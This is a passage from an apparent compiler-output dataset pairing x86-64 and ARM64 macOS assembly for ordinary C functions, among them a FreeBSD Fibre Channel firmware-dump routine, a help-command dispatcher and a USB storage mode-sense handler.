## %bb.5:
movq %r12, %rdi
callq _sli_dump_is_present
cmpl $1, %eax
jne LBB0_6
## %bb.7:
movq %r12, %rdi
callq _sli_reset_required
movl 8(%rbx), %edi
cmpl $1, %eax
jne LBB0_10
## %bb.8:
leaq L_.str.2(%rip), %rsi
jmp LBB0_9
LBB0_4:
movl 8(%rbx), %edi
leaq L_.str(%rip), %rsi
jmp LBB0_9
LBB0_6:
movl 8(%rbx), %edi
leaq L_.str.1(%rip), %rsi
LBB0_9:
callq _ocs_log_test
movq (%r13), %r14
LBB0_22:
movq %r14, %rax
addq $56, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_10:
movq _SLI4_BMBX_SIZE@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq _OCS_M_ZERO@GOTPCREL(%rip), %rax
movq _OCS_M_NOWAIT@GOTPCREL(%rip), %r13
movl (%r13), %edx
orl (%rax), %edx
callq _ocs_malloc
movl 8(%rbx), %edi
testq %rax, %rax
je LBB0_11
## %bb.13:
movq %rax, %r15
movl (%r13), %edx
movl $24, %esi
callq _ocs_malloc
testq %rax, %rax
je LBB0_14
## %bb.15:
movl -52(%rbp), %ecx ## 4-byte Reload
movl %ecx, 16(%rax)
movq -48(%rbp), %rcx ## 8-byte Reload
movq %rcx, 8(%rax)
movq %r15, %r13
movq %rax, -48(%rbp) ## 8-byte Spill
movq %r15, (%rax)
movq _SLI4_BMBX_SIZE@GOTPCREL(%rip), %r15
movl (%r15), %edx
movq -72(%rbp), %rax ## 8-byte Reload
movq %rax, (%rsp)
leaq L_.str.5(%rip), %r9
movq %r12, %rdi
movq %r13, %rsi
movq -80(%rbp), %rcx ## 8-byte Reload
movq -88(%rbp), %r8 ## 8-byte Reload
callq _sli_cmd_common_read_object
testq %rax, %rax
je LBB0_20
## %bb.16:
movq _ocs_hw_cb_dump_get@GOTPCREL(%rip), %rcx
movq %rbx, %rdi
movq %r13, %rsi
movq -64(%rbp), %rdx ## 8-byte Reload
movq -48(%rbp), %r8 ## 8-byte Reload
callq _ocs_hw_command
movq %rax, %r14
testq %rax, %rax
jne LBB0_20
## %bb.17:
movq _OCS_CMD_POLL@GOTPCREL(%rip), %rax
movq -64(%rbp), %rcx ## 8-byte Reload
cmpq (%rax), %rcx
jne LBB0_18
## %bb.19:
movl 12(%rbx), %esi
movl (%r15), %edx
movq %r13, %rdi
callq _ocs_memcpy
movq %rbx, %rdi
xorl %esi, %esi
movq %r13, %rdx
movq -48(%rbp), %rcx ## 8-byte Reload
callq _ocs_hw_cb_dump_get
movq %rax, %r14
jmp LBB0_20
LBB0_11:
leaq L_.str.3(%rip), %rsi
callq _ocs_log_err
jmp LBB0_12
LBB0_14:
movl 8(%rbx), %edi
leaq L_.str.4(%rip), %rsi
callq _ocs_log_err
movl 8(%rbx), %edi
movq _SLI4_BMBX_SIZE@GOTPCREL(%rip), %rax
movl (%rax), %edx
movq %r15, %rsi
callq _ocs_free
LBB0_12:
movq _OCS_HW_RTN_NO_MEMORY@GOTPCREL(%rip), %rax
movq (%rax), %r14
jmp LBB0_22
LBB0_18:
xorl %r14d, %r14d
LBB0_20:
movq _OCS_HW_RTN_SUCCESS@GOTPCREL(%rip), %rax
cmpq (%rax), %r14
je LBB0_22
## %bb.21:
movl 8(%rbx), %edi
leaq L_.str.6(%rip), %rsi
callq _ocs_log_test
movl 8(%rbx), %edi
movl (%r15), %edx
movq %r13, %rsi
callq _ocs_free
movl 8(%rbx), %edi
movq -48(%rbp), %rsi ## 8-byte Reload
movl $24, %edx
callq _ocs_free
jmp LBB0_22
.cfi_endproc
## -- End function
.comm _OCS_HW_RTN_ERROR,8,3 ## @OCS_HW_RTN_ERROR
.comm _OCS_HW_STATE_ACTIVE,8,3 ## @OCS_HW_STATE_ACTIVE
.comm _OCS_CMD_NOWAIT,8,3 ## @OCS_CMD_NOWAIT
.comm _OCS_CMD_POLL,8,3 ## @OCS_CMD_POLL
.comm _SLI4_IF_TYPE_LANCER_FC_ETH,8,3 ## @SLI4_IF_TYPE_LANCER_FC_ETH
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Function only supported for I/F type 2\n"
L_.str.1: ## @.str.1
.asciz "No dump is present\n"
L_.str.2: ## @.str.2
.asciz "device reset required\n"
.comm _SLI4_BMBX_SIZE,4,2 ## @SLI4_BMBX_SIZE
.comm _OCS_M_ZERO,4,2 ## @OCS_M_ZERO
.comm _OCS_M_NOWAIT,4,2 ## @OCS_M_NOWAIT
L_.str.3: ## @.str.3
.asciz "failed to malloc mbox\n"
.comm _OCS_HW_RTN_NO_MEMORY,8,3 ## @OCS_HW_RTN_NO_MEMORY
L_.str.4: ## @.str.4
.asciz "failed to malloc cb_arg\n"
L_.str.5: ## @.str.5
.asciz "/dbg/dump.bin"
.comm _OCS_HW_RTN_SUCCESS,8,3 ## @OCS_HW_RTN_SUCCESS
L_.str.6: ## @.str.6
.asciz "COMMON_READ_OBJECT failed\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ocs_hw_dump_get ; -- Begin function ocs_hw_dump_get
.p2align 2
_ocs_hw_dump_get: ; @ocs_hw_dump_get
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x28, x27, [sp, #16] ; 16-byte Folded Spill
stp x26, x25, [sp, #32] ; 16-byte Folded Spill
stp x24, x23, [sp, #48] ; 16-byte Folded Spill
stp x22, x21, [sp, #64] ; 16-byte Folded Spill
stp x20, x19, [sp, #80] ; 16-byte Folded Spill
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x27, x5
mov x28, x4
mov x25, x3
mov x26, x2
mov x24, x1
mov x23, x0
Lloh0:
adrp x21, _OCS_HW_RTN_ERROR@GOTPAGE
Lloh1:
ldr x21, [x21, _OCS_HW_RTN_ERROR@GOTPAGEOFF]
mov x19, x0
ldr x8, [x19], #12
Lloh2:
adrp x9, _OCS_HW_STATE_ACTIVE@GOTPAGE
Lloh3:
ldr x9, [x9, _OCS_HW_STATE_ACTIVE@GOTPAGEOFF]
ldr x20, [x21]
Lloh4:
ldr x9, [x9]
Lloh5:
adrp x10, _OCS_CMD_NOWAIT@GOTPAGE
Lloh6:
ldr x10, [x10, _OCS_CMD_NOWAIT@GOTPAGEOFF]
Lloh7:
adrp x11, _OCS_CMD_POLL@GOTPAGE
Lloh8:
ldr x11, [x11, _OCS_CMD_POLL@GOTPAGEOFF]
cmp x8, x9
csel x8, x10, x11, eq
ldr x8, [x8]
str x8, [sp, #8] ; 8-byte Folded Spill
Lloh9:
adrp x8, _SLI4_IF_TYPE_LANCER_FC_ETH@GOTPAGE
Lloh10:
ldr x8, [x8, _SLI4_IF_TYPE_LANCER_FC_ETH@GOTPAGEOFF]
Lloh11:
ldr x22, [x8]
mov x0, x19
bl _sli_get_if_type
cmp x22, x0
b.ne LBB0_4
; %bb.1:
mov x0, x19
bl _sli_dump_is_present
cmp w0, #1
b.ne LBB0_5
; %bb.2:
mov x0, x19
bl _sli_reset_required
mov x8, x0
ldr w0, [x23, #8]
cmp w8, #1
b.ne LBB0_8
; %bb.3:
Lloh12:
adrp x1, l_.str.2@PAGE
Lloh13:
add x1, x1, l_.str.2@PAGEOFF
b LBB0_6
LBB0_4:
ldr w0, [x23, #8]
Lloh14:
adrp x1, l_.str@PAGE
Lloh15:
add x1, x1, l_.str@PAGEOFF
b LBB0_6
LBB0_5:
ldr w0, [x23, #8]
Lloh16:
adrp x1, l_.str.1@PAGE
Lloh17:
add x1, x1, l_.str.1@PAGEOFF
LBB0_6:
bl _ocs_log_test
ldr x20, [x21]
LBB0_7:
mov x0, x20
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
ldp x28, x27, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #112
ret
LBB0_8:
Lloh18:
adrp x9, _SLI4_BMBX_SIZE@GOTPAGE
Lloh19:
ldr x9, [x9, _SLI4_BMBX_SIZE@GOTPAGEOFF]
Lloh20:
adrp x8, _OCS_M_ZERO@GOTPAGE
Lloh21:
ldr x8, [x8, _OCS_M_ZERO@GOTPAGEOFF]
Lloh22:
ldr w1, [x9]
Lloh23:
ldr w8, [x8]
Lloh24:
adrp x21, _OCS_M_NOWAIT@GOTPAGE
Lloh25:
ldr x21, [x21, _OCS_M_NOWAIT@GOTPAGEOFF]
ldr w9, [x21]
orr w2, w9, w8
bl _ocs_malloc
mov x8, x0
ldr w0, [x23, #8]
cbz x8, LBB0_14
; %bb.9:
mov x22, x8
ldr w2, [x21]
mov w1, #24
bl _ocs_malloc
cbz x0, LBB0_15
; %bb.10:
mov x21, x0
str w28, [x0, #16]
stp x22, x27, [x0]
mov x27, x22
Lloh26:
adrp x22, _SLI4_BMBX_SIZE@GOTPAGE
Lloh27:
ldr x22, [x22, _SLI4_BMBX_SIZE@GOTPAGEOFF]
ldr w2, [x22]
Lloh28:
adrp x5, l_.str.5@PAGE
Lloh29:
add x5, x5, l_.str.5@PAGEOFF
mov x0, x19
mov x1, x27
mov x3, x26
mov x4, x25
mov x6, x24
bl _sli_cmd_common_read_object
cbz x0, LBB0_18
; %bb.11:
Lloh30:
adrp x3, _ocs_hw_cb_dump_get@GOTPAGE
Lloh31:
ldr x3, [x3, _ocs_hw_cb_dump_get@GOTPAGEOFF]
mov x0, x23
mov x1, x27
ldr x19, [sp, #8] ; 8-byte Folded Reload
mov x2, x19
mov x4, x21
bl _ocs_hw_command
mov x20, x0
cbnz x0, LBB0_18
; %bb.12:
Lloh32:
adrp x8, _OCS_CMD_POLL@GOTPAGE
Lloh33:
ldr x8, [x8, _OCS_CMD_POLL@GOTPAGEOFF]
Lloh34:
ldr x8, [x8]
cmp x19, x8
b.ne LBB0_17
; %bb.13:
ldr w1, [x23, #12]
ldr w2, [x22]
mov x0, x27
bl _ocs_memcpy
mov x0, x23
mov w1, #0
mov x2, x27
mov x3, x21
bl _ocs_hw_cb_dump_get
mov x20, x0
b LBB0_18
LBB0_14:
Lloh35:
adrp x1, l_.str.3@PAGE
Lloh36:
add x1, x1, l_.str.3@PAGEOFF
bl _ocs_log_err
b LBB0_16
LBB0_15:
ldr w0, [x23, #8]
Lloh37:
adrp x1, l_.str.4@PAGE
Lloh38:
add x1, x1, l_.str.4@PAGEOFF
bl _ocs_log_err
ldr w0, [x23, #8]
Lloh39:
adrp x8, _SLI4_BMBX_SIZE@GOTPAGE
Lloh40:
ldr x8, [x8, _SLI4_BMBX_SIZE@GOTPAGEOFF]
Lloh41:
ldr w2, [x8]
mov x1, x22
bl _ocs_free
LBB0_16:
Lloh42:
adrp x8, _OCS_HW_RTN_NO_MEMORY@GOTPAGE
Lloh43:
ldr x8, [x8, _OCS_HW_RTN_NO_MEMORY@GOTPAGEOFF]
Lloh44:
ldr x20, [x8]
b LBB0_7
LBB0_17:
mov x20, #0
LBB0_18:
Lloh45:
adrp x8, _OCS_HW_RTN_SUCCESS@GOTPAGE
Lloh46:
ldr x8, [x8, _OCS_HW_RTN_SUCCESS@GOTPAGEOFF]
Lloh47:
ldr x8, [x8]
cmp x20, x8
b.eq LBB0_7
; %bb.19:
ldr w0, [x23, #8]
Lloh48:
adrp x1, l_.str.6@PAGE
Lloh49:
add x1, x1, l_.str.6@PAGEOFF
bl _ocs_log_test
ldr w0, [x23, #8]
ldr w2, [x22]
mov x1, x27
bl _ocs_free
ldr w0, [x23, #8]
mov x1, x21
mov w2, #24
bl _ocs_free
b LBB0_7
.loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11
.loh AdrpLdrGot Lloh7, Lloh8
.loh AdrpLdrGot Lloh5, Lloh6
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh14, Lloh15
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpLdrGot Lloh24, Lloh25
.loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh23
.loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh22
.loh AdrpAdd Lloh28, Lloh29
.loh AdrpLdrGot Lloh26, Lloh27
.loh AdrpLdrGot Lloh30, Lloh31
.loh AdrpLdrGotLdr Lloh32, Lloh33, Lloh34
.loh AdrpAdd Lloh35, Lloh36
.loh AdrpLdrGotLdr Lloh39, Lloh40, Lloh41
.loh AdrpAdd Lloh37, Lloh38
.loh AdrpLdrGotLdr Lloh42, Lloh43, Lloh44
.loh AdrpLdrGotLdr Lloh45, Lloh46, Lloh47
.loh AdrpAdd Lloh48, Lloh49
.cfi_endproc
; -- End function
.comm _OCS_HW_RTN_ERROR,8,3 ; @OCS_HW_RTN_ERROR
.comm _OCS_HW_STATE_ACTIVE,8,3 ; @OCS_HW_STATE_ACTIVE
.comm _OCS_CMD_NOWAIT,8,3 ; @OCS_CMD_NOWAIT
.comm _OCS_CMD_POLL,8,3 ; @OCS_CMD_POLL
.comm _SLI4_IF_TYPE_LANCER_FC_ETH,8,3 ; @SLI4_IF_TYPE_LANCER_FC_ETH
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Function only supported for I/F type 2\n"
l_.str.1: ; @.str.1
.asciz "No dump is present\n"
l_.str.2: ; @.str.2
.asciz "device reset required\n"
.comm _SLI4_BMBX_SIZE,4,2 ; @SLI4_BMBX_SIZE
.comm _OCS_M_ZERO,4,2 ; @OCS_M_ZERO
.comm _OCS_M_NOWAIT,4,2 ; @OCS_M_NOWAIT
l_.str.3: ; @.str.3
.asciz "failed to malloc mbox\n"
.comm _OCS_HW_RTN_NO_MEMORY,8,3 ; @OCS_HW_RTN_NO_MEMORY
l_.str.4: ; @.str.4
.asciz "failed to malloc cb_arg\n"
l_.str.5: ; @.str.5
.asciz "/dbg/dump.bin"
.comm _OCS_HW_RTN_SUCCESS,8,3 ; @OCS_HW_RTN_SUCCESS
l_.str.6: ; @.str.6
.asciz "COMMON_READ_OBJECT failed\n"
.subsections_via_symbols
| AnghaBench/freebsd/sys/dev/ocs_fc/extr_ocs_hw.c_ocs_hw_dump_get.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function handle_internal_command
_handle_internal_command: ## @handle_internal_command
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %rbx
movl %edi, -44(%rbp) ## 4-byte Spill
cmpl $1, %edi
jg LBB0_2
## %bb.1:
movq (%rbx), %r15
movq 8(%rbx), %rdi
leaq L_.str(%rip), %rsi
callq _strcmp
testq %rax, %rax
jne LBB0_3
LBB0_2:
movq (%rbx), %rax
movq %rax, 8(%rbx)
leaq L_.str.1(%rip), %r15
movq %r15, (%rbx)
LBB0_3:
movq _commands@GOTPCREL(%rip), %r12
movq (%r12), %rdi
callq _ARRAY_SIZE
xorl %r13d, %r13d
.p2align 4, 0x90
LBB0_5: ## =>This Inner Loop Header: Depth=1
movq (%r12), %r14
movl %r13d, %r13d
movq (%r14,%r13,8), %rdi
movq %r15, %rsi
callq _strcmp
testq %rax, %rax
je LBB0_6
## %bb.4: ## in Loop: Header=BB0_5 Depth=1
incl %r13d
movq (%r12), %rdi
callq _ARRAY_SIZE
cmpl %eax, %r13d
jbe LBB0_5
## %bb.7:
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_6:
leaq (%r14,%r13,8), %rdi
movl -44(%rbp), %esi ## 4-byte Reload
movq %rbx, %rdx
callq _run_builtin
movl %eax, %edi
callq _exit
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "--help"
L_.str.1: ## @.str.1
.asciz "help"
.comm _commands,8,3 ## @commands
.no_dead_strip _handle_internal_command
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function handle_internal_command
_handle_internal_command: ; @handle_internal_command
.cfi_startproc
; %bb.0:
stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill
stp x24, x23, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
mov x19, x1
mov x20, x0
cmp w0, #1
b.gt LBB0_2
; %bb.1:
ldp x21, x0, [x19]
Lloh0:
adrp x1, l_.str@PAGE
Lloh1:
add x1, x1, l_.str@PAGEOFF
bl _strcmp
cbnz x0, LBB0_3
LBB0_2:
ldr x8, [x19]
Lloh2:
adrp x21, l_.str.1@PAGE
Lloh3:
add x21, x21, l_.str.1@PAGEOFF
stp x21, x8, [x19]
LBB0_3:
Lloh4:
adrp x22, _commands@GOTPAGE
Lloh5:
ldr x22, [x22, _commands@GOTPAGEOFF]
ldr x0, [x22]
bl _ARRAY_SIZE
mov w23, #0 ; =0x0
LBB0_4: ; =>This Inner Loop Header: Depth=1
ldr x25, [x22]
mov w24, w23
ldr x0, [x25, w23, uxtw #3]
mov x1, x21
bl _strcmp
cbz x0, LBB0_7
; %bb.5: ; in Loop: Header=BB0_4 Depth=1
add w23, w24, #1
ldr x0, [x22]
bl _ARRAY_SIZE
cmp w23, w0
b.ls LBB0_4
; %bb.6:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
ldp x26, x25, [sp], #80 ; 16-byte Folded Reload
ret
LBB0_7:
add x0, x25, x24, lsl #3
mov x1, x20
mov x2, x19
bl _run_builtin
bl _exit
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpLdrGot Lloh4, Lloh5
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "--help"
l_.str.1: ; @.str.1
.asciz "help"
.comm _commands,8,3 ; @commands
.no_dead_strip _handle_internal_command
.subsections_via_symbols
| assembly_file_89806.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/20451321.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/182952084.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function datafab_handle_mode_sense
_datafab_handle_mode_sense: ## @datafab_handle_mode_sense
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %edx, %r15d
movq (%rdi), %r12
movq 8(%rdi), %r13
movq %rsi, -48(%rbp) ## 8-byte Spill
movq (%rsi), %rax
movl 8(%rax), %r14d
movl %r14d, %eax
shrl $6, %eax
andl $63, %r14d
cmpb $3, %al
ja LBB0_2
## %bb.1:
movsbq %al, %rax
leaq l_reltable.datafab_handle_mode_sense(%rip), %rcx
movslq (%rcx,%rax,4), %rdi
addq %rcx, %rdi
callq _US_DEBUGP
LBB0_2:
movq %r12, %rdi
xorl %esi, %esi
movl $8, %edx
callq _memset
xorl %eax, %eax
testl %r15d, %r15d
sete %al
leaq 4(,%rax,4), %rbx
movb $0, 2(%rax,%r12)
leal -1(%r14), %eax
cmpl $27, %eax
ja LBB0_5
## %bb.3:
leaq LJTI0_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB0_4:
leaq (%r12,%rbx), %rdi
leaq _datafab_handle_mode_sense.rw_err_page(%rip), %rsi
jmp LBB0_10
LBB0_5:
cmpl $63, %r14d
jne LBB0_7
## %bb.6:
leaq (%r12,%rbx), %rdi
leaq _datafab_handle_mode_sense.timer_page(%rip), %rsi
movl $8, %edx
callq _memcpy
leaq (%r12,%rbx), %rdi
addq $8, %rdi
leaq _datafab_handle_mode_sense.rbac_page(%rip), %rsi
movl $12, %edx
callq _memcpy
leaq (%r12,%rbx), %rdi
addq $20, %rdi
leaq _datafab_handle_mode_sense.cache_page(%rip), %rsi
movl $12, %edx
callq _memcpy
leaq (%r12,%rbx), %rdi
addq $32, %rdi
leaq _datafab_handle_mode_sense.rw_err_page(%rip), %rsi
movl $12, %edx
callq _memcpy
movl $44, %r14d
jmp LBB0_13
LBB0_7:
movabsq $154618822661, %rax ## imm = 0x2400000005
movq %rax, (%r13)
movl $0, 8(%r13)
movq _USB_STOR_TRANSPORT_FAILED@GOTPCREL(%rip), %rax
jmp LBB0_17
LBB0_8:
leaq (%r12,%rbx), %rdi
leaq _datafab_handle_mode_sense.cache_page(%rip), %rsi
jmp LBB0_10
LBB0_9:
leaq (%r12,%rbx), %rdi
leaq _datafab_handle_mode_sense.rbac_page(%rip), %rsi
LBB0_10:
movl $12, %r14d
movl $12, %edx
jmp LBB0_12
LBB0_11:
leaq (%r12,%rbx), %rdi
leaq _datafab_handle_mode_sense.timer_page(%rip), %rsi
movl $8, %r14d
movl $8, %edx
LBB0_12:
callq _memcpy
LBB0_13:
movq -48(%rbp), %r13 ## 8-byte Reload
addl %r14d, %ebx
testl %r15d, %r15d
je LBB0_15
## %bb.14:
leal -1(%rbx), %eax
movb %al, (%r12)
jmp LBB0_16
LBB0_15:
leal -2(%rbx), %edi
callq _cpu_to_be16
movl %eax, (%r12)
LBB0_16:
movq %r12, %rdi
movl %ebx, %esi
movq %r13, %rdx
callq _usb_stor_set_xfer_buf
movq _USB_STOR_TRANSPORT_GOOD@GOTPCREL(%rip), %rax
LBB0_17:
movl (%rax), %eax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L0_0_set_4, LBB0_4-LJTI0_0
.set L0_0_set_7, LBB0_7-LJTI0_0
.set L0_0_set_8, LBB0_8-LJTI0_0
.set L0_0_set_9, LBB0_9-LJTI0_0
.set L0_0_set_11, LBB0_11-LJTI0_0
LJTI0_0:
.long L0_0_set_4
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_8
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_7
.long L0_0_set_9
.long L0_0_set_11
.end_data_region
## -- End function
.section __DATA,__data
_datafab_handle_mode_sense.rw_err_page: ## @datafab_handle_mode_sense.rw_err_page
.asciz "\001\n!\001\000\000\000\000\001\000\000"
_datafab_handle_mode_sense.cache_page: ## @datafab_handle_mode_sense.cache_page
.byte 8 ## 0x8
.byte 10 ## 0xa
.byte 1 ## 0x1
.space 9
_datafab_handle_mode_sense.rbac_page: ## @datafab_handle_mode_sense.rbac_page
.byte 27 ## 0x1b
.byte 10 ## 0xa
.byte 0 ## 0x0
.byte 129 ## 0x81
.space 8
_datafab_handle_mode_sense.timer_page: ## @datafab_handle_mode_sense.timer_page
.asciz "\034\006\000\000\000\000\000"
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "datafab_handle_mode_sense: Current values\n"
L_.str.1: ## @.str.1
.asciz "datafab_handle_mode_sense: Changeable values\n"
L_.str.2: ## @.str.2
.asciz "datafab_handle_mode_sense: Default values\n"
L_.str.3: ## @.str.3
.asciz "datafab_handle_mode_sense: Saves values\n"
.comm _USB_STOR_TRANSPORT_FAILED,4,2 ## @USB_STOR_TRANSPORT_FAILED
.comm _USB_STOR_TRANSPORT_GOOD,4,2 ## @USB_STOR_TRANSPORT_GOOD
.no_dead_strip _datafab_handle_mode_sense
.section __TEXT,__const
.p2align 2 ## @reltable.datafab_handle_mode_sense
l_reltable.datafab_handle_mode_sense:
.long L_.str-l_reltable.datafab_handle_mode_sense
.long L_.str.1-l_reltable.datafab_handle_mode_sense
.long L_.str.2-l_reltable.datafab_handle_mode_sense
.long L_.str.3-l_reltable.datafab_handle_mode_sense
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function datafab_handle_mode_sense
lCPI0_0:
.long 5 ; 0x5
.long 36 ; 0x24
.section __TEXT,__text,regular,pure_instructions
.p2align 2
_datafab_handle_mode_sense: ; @datafab_handle_mode_sense
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x21, x2
mov x19, x1
ldp x20, x22, [x0]
ldr x8, [x1]
ldr w8, [x8, #8]
and w24, w8, #0x3f
ubfx w9, w8, #6, #8
cmp w9, #3
b.hi LBB0_2
; %bb.1:
lsr w8, w8, #6
sxtb x8, w8
Lloh0:
adrp x9, l_switch.table.datafab_handle_mode_sense@PAGE
Lloh1:
add x9, x9, l_switch.table.datafab_handle_mode_sense@PAGEOFF
ldr x0, [x9, x8, lsl #3]
bl _US_DEBUGP
LBB0_2:
mov w23, #8
mov x0, x20
mov w1, #0
mov w2, #8
bl _memset
cmp w21, #0
mov w8, #2
cinc x8, x8, eq
mov w9, #4
csel x23, x23, x9, eq
strb wzr, [x20, x8]
sub w8, w24, #1
cmp w8, #27
b.hi LBB0_5
; %bb.3:
Lloh2:
adrp x9, lJTI0_0@PAGE
Lloh3:
add x9, x9, lJTI0_0@PAGEOFF
adr x10, LBB0_4
ldrb w11, [x9, x8]
add x10, x10, x11, lsl #2
br x10
LBB0_4:
add x0, x20, x23
Lloh4:
adrp x1, _datafab_handle_mode_sense.rw_err_page@PAGE
Lloh5:
add x1, x1, _datafab_handle_mode_sense.rw_err_page@PAGEOFF
b LBB0_11
LBB0_5:
cmp w24, #63
b.ne LBB0_8
; %bb.6:
add x22, x20, x23
Lloh6:
adrp x1, _datafab_handle_mode_sense.timer_page@PAGE
Lloh7:
add x1, x1, _datafab_handle_mode_sense.timer_page@PAGEOFF
mov x0, x22
mov w2, #8
bl _memcpy
add x0, x22, #8
Lloh8:
adrp x1, _datafab_handle_mode_sense.rbac_page@PAGE
Lloh9:
add x1, x1, _datafab_handle_mode_sense.rbac_page@PAGEOFF
mov w2, #12
bl _memcpy
add x0, x22, #20
Lloh10:
adrp x1, _datafab_handle_mode_sense.cache_page@PAGE
Lloh11:
add x1, x1, _datafab_handle_mode_sense.cache_page@PAGEOFF
mov w2, #12
bl _memcpy
add x0, x22, #32
Lloh12:
adrp x1, _datafab_handle_mode_sense.rw_err_page@PAGE
Lloh13:
add x1, x1, _datafab_handle_mode_sense.rw_err_page@PAGEOFF
mov w2, #12
bl _memcpy
mov w22, #44
add w22, w22, w23
cbnz w21, LBB0_14
LBB0_7:
sub w0, w22, #2
bl _cpu_to_be16
str w0, [x20]
b LBB0_15
LBB0_8:
Lloh14:
adrp x8, lCPI0_0@PAGE
Lloh15:
ldr d0, [x8, lCPI0_0@PAGEOFF]
str d0, [x22]
str wzr, [x22, #8]
Lloh16:
adrp x8, _USB_STOR_TRANSPORT_FAILED@GOTPAGE
